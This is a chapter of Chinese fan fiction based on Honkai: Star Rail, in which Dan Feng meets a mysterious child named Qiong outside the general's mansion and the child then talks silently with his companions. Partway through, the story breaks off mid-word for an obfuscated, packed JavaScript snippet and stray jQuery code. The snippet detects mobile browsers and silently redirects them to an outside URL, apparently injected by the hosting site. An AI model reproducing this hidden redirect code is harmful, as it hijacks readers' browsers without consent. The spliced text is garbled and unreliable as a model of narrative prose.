14.丹枫说:谁家小孩?

作品:《[崩铁]开拓小队开拓到了云上五骁?!

    长乐天,将军府。


    丹枫从府中走出,身后的门缓缓合上。


    他今天的来意很简单——向将军府报备近期的孽物清剿情况以及最近建木的波动,腾骁听完之后没多说什么,只交代了一句“注意安全”。


    最后快离开时,他提了一嘴鳞渊境持明卵即将破壳、需要闭锁周边区域一事。这倒是激起了腾骁的兴趣,要不是秘书拦着和事务实在繁忙,恨不得当场就前去观看。


    “唉,那可是几百年一次的奇景啊,我真的不能去看看?”腾骁丝毫不意外自己又被拒绝了,“帮我拍张相片也好啊。”


    丹枫转头就走了。


    他站在将军府门前的石阶上,长吸一口气。


    罗浮的天空一如既往地澄澈,模拟的天象系统精准地复制着千百年前的星图。来来往往的行人让他意识到自己真的很久没离开鳞渊境了,一切都井然有序,平静得像一潭死水。


    但丹枫知道,这潭死水下面,暗流正在涌动。


    建木的波动越来越频繁了。虽然还很微弱,在能控制的范围内,但他能感觉到。那棵被封印了千年的巨木,似乎被什么影响到了,一开始波动得很频繁似乎要冲破封印,但最近又变得平静下来,比原来还要牢固,也不知道这是好是坏。


    还是有些好消息的。那些持明卵,快五百年了,终于有了破壳的迹象。比以前还要久的沉寂,终于有了要破壳的预兆,持明已经等待太久了,虽然偏偏赶在这个时候。


    丹枫收回思绪,沿着长乐天的长街往外走。


    他的脚步不快不慢,身姿挺拔如松。路过的行人有人认出了他,有的低头行礼,有的小声议论,有的远远避开——持明龙尊,饮月君,这个名字在罗浮的分量,比大多数人想象的都要重。


    但他不在意这些。他习惯了。


    快要走出长乐天的时候,他看到了一个小孩。


    那孩子蹲在学堂对面的石阶上,缩成小小一团,他穿着一件偏大的病服,头发是少见的银灰色,乱糟糟的,像鸟窝。头上别着两个发夹——一个是青蓝色的小龙,一个是粉色半透明的水母。肩膀上还站着一只蓝白色的小鸟,头顶有一个奇特的光环。


    小鸟警觉地察觉到了他的目光,用翅膀拍了拍孩子的脸颊。


    丹枫的脚步骤然停住。


    那个孩子抬起头,看了他一眼,金色的眼睛瞬间瞪大。他能感觉到这不是一个普通的孩子,他体内有着相当强大的力量,也很稳定。


    但那不是让丹枫停住的原因。让他停住的,是另一种感觉——一种极细微的、几乎不可察觉的……共鸣,属于持明族血脉的共鸣,和另一种微妙的感觉。


    但丹枫很确定,这孩子不是持明族,甚至不是一个长生种。


    那是什么?


    丹枫站在原地,看着那个孩子。那孩子也看着他,表情有些古怪。


    “丹枫?”声音里带着一丝说不清的情绪,虽然是疑问句,但似乎很肯定他的身份。


    “你是丹枫。”他又重复了一遍,这次的语气更加笃定了。


    “你认识我?”丹枫的声音很平静,目光已经在那孩子身上来回扫了好几遍。


    “我……”那孩子张了张嘴,又闭上,“我听说过你。白珩姐姐提过。”


    白珩。丹枫在心里记下了这个名字。


    “我叫穹。”在他问出更多之前,穹先报出了自己的姓名。


    穹。


    丹枫在心里默念了一遍这个名字。没有印象。他确定自己不认识这个孩子,也没有在任何卷宗或报告里见过这个名字。


    但他对这孩子有一种奇怪的感觉。不是敌意,这孩子没有任何威胁的气息。除了那丝共鸣之外,还有一种很诡异的……亲近感?


    这种超脱掌控之外的感觉,让他皱起眉头。


    不……或许搞错了。


    他又打量了一遍这个孩子。


    最后,丹枫的目光停留在他头顶的龙形发夹。那东西的做工很精致,龙鳞纹路清晰可见,龙眼处泛着微光。但更重要的是——那上面残留着极细微的持明气息。


    所以不是这孩子身上的。而是这个发夹吗?或者说,那真的是一个发夹吗?


    丹枫想问,但不知道该怎么开口。组织了几遍语言,都觉得自己像是拐卖儿童的。


    穹也看着他,金色的眼睛眨啊眨的,像是在辨认什么,还有一丝丹枫看不懂的、类似感慨的东西。


    两个人就这样对视了几秒。


    最后,是穹先移开了目光。他打了个哈欠,揉了揉眼睛,看起来困得不行。


    “你生病了?”丹枫问。


    穹点点头:“嗯,有一点。老大夫说要静养,但我坐不住。”


    “坐不住还蹲在这里?”丹枫的语气不自觉地带上了一丝长辈的无奈。


    “我在等人。”穹说,又打了个哈欠。


    丹枫没有问等谁。他伸出手,搭在他的肩膀上。云吟术的力量轻柔地探入,像一缕温热的泉水,在穹的经脉里走了一圈。


    “没有大碍。”他收回手,得出结论,“只是有些虚弱,需要休息。”


    “我就说我的身体素质不是盖的吧!”穹立刻挺起小胸脯,叉着腰,一脸骄傲,“银河球棒侠的身体,杠杠的!”


    丹枫不太确定“银河球棒侠”是什么东西,但他还是点了点头。


    然后他伸手指向穹头顶的发夹。“精湛的工艺与绝品的材质,想来是十分珍贵的东西。”


    穹笑了笑捂住自己的头顶,阻断了丹枫投来的视线,“嗯,是很重要,很珍贵的。”


    “早些回去休息。”丹枫也收回目光。


    穹“哦”了一声,但没有动。


    丹枫转身离开。


    走出几步,他停下来,回头看了一眼。


    那孩子还在石阶上,缩成小小一团,脑袋一点一点的,像是快睡着了。那只小鸟站在他肩膀上,也用翅膀捂住了脑袋。


    丹枫转回头,继续走。


    他心里的疑问,像一颗小小的种子,被埋进了土里。丹枫加快了脚步,往鳞渊境的方向走去。这件事值得查一查,但现在有更重要的事。


    ————


    丹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367349|199707||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    枫彻底离开后,原本打着瞌睡的穹抬起头来,眼里没有一丝困倦。


    他盯着丹枫消失的方向看了好几秒,然后长长地呼出一口气,整个人像泄了气的皮球一样瘫在石阶上。


    “吓死我了……”他小声嘀咕,拍了拍胸口。


    他把头上的发夹取下来,小心翼翼地别在胸前的口袋边上,让它们面朝外。小龙发夹和水母发夹并排待着,在阳光下泛着微光。


    穹在心里叹了口气。


    虽然知道迟早会遇见,但这来得也太快了吧。他才来几天啊?先是被白珩追,然后被景元他娘抓住,然后遇到应星,现在又撞上丹枫——云上五骁他已经见了四个了,就差一个镜流就可以集齐了。


    几人都没说话。穹能感觉到,三月七在努力克制自己不要开口,星期日安静地待在他肩膀上,连呼吸都放轻了。他们都在给丹恒一个安静的空间。


    丹恒的情绪还好,他早已行向未来,必不会被这些事困住。


    看着比自己还要紧张的众人,【你们……】他的声音在脑海里响起,带着一丝无奈和暖意,【不必如此。平常心就好。】


    【可是——】三月七刚开口就被自己噎住了。


    【真的没事。】丹恒的语气很轻,像是在说一件再普通不过的事,【你们都在走向群星,我也不可能在原地踏步。】


    穹张了张嘴,想说什么,又闭上了。


    他低头看了看胸前口袋里的发夹,伸手轻轻摸了摸小龙的脑袋。丹恒没有躲。


    【丹恒老师,】穹在心里说,【你如果想说什么,可以说的。我们都在。】


    【嗯。】丹恒应了一声,沉默了几秒,【……他比我想象中或者说是梦中……年轻。】


    【那当然!现在还是几百年前嘛!】三月七终于憋不住了,语速快得像连珠炮,【不过跟我想象的不一样耶!我还真以为是那种霸道总裁类型的呢!】她挥舞着触手,尝试表演,【何人胆敢不从!】


    【就类似这样!】


    【……】丹恒没有接话。


    【虽然不是同一个人,】星期日仔细思考着,【但转世轮回,性格会差这么多吗?】


    【万一丹恒也有用一个霸总梦呢!】


    【我没有。】


    “嗯……”穹沉思了一会,“他人倒是不错,但短时间内还是不想遇到了,太容易幻视丹恒老师了。”


    最后他又摸了摸小龙的脑袋。“而且我觉得我们家小青龙也年轻着呢!”


    【唉。】三月七叹了口气,【你这么一说,我们的年龄似乎有些严峻了。】


    【严格来说是我,你和穹。】丹恒下意识地纠正,【而且列车上还是按资历来算的,我们现在都是小辈。】


    穹揉了揉小鸟,“嘿嘿,不管怎么算,老日都是老幺!”


    星期日有些茫然,【嗯……看来我也需要努力了。】


    【呃,不必惯着他俩,按你自己喜欢的方式开拓就好了。】


    “什么嘛!丹恒老师!”穹扭过头去,决定暂时不理小青龙一分钟,完全忘了最开始是想让丹恒开心的。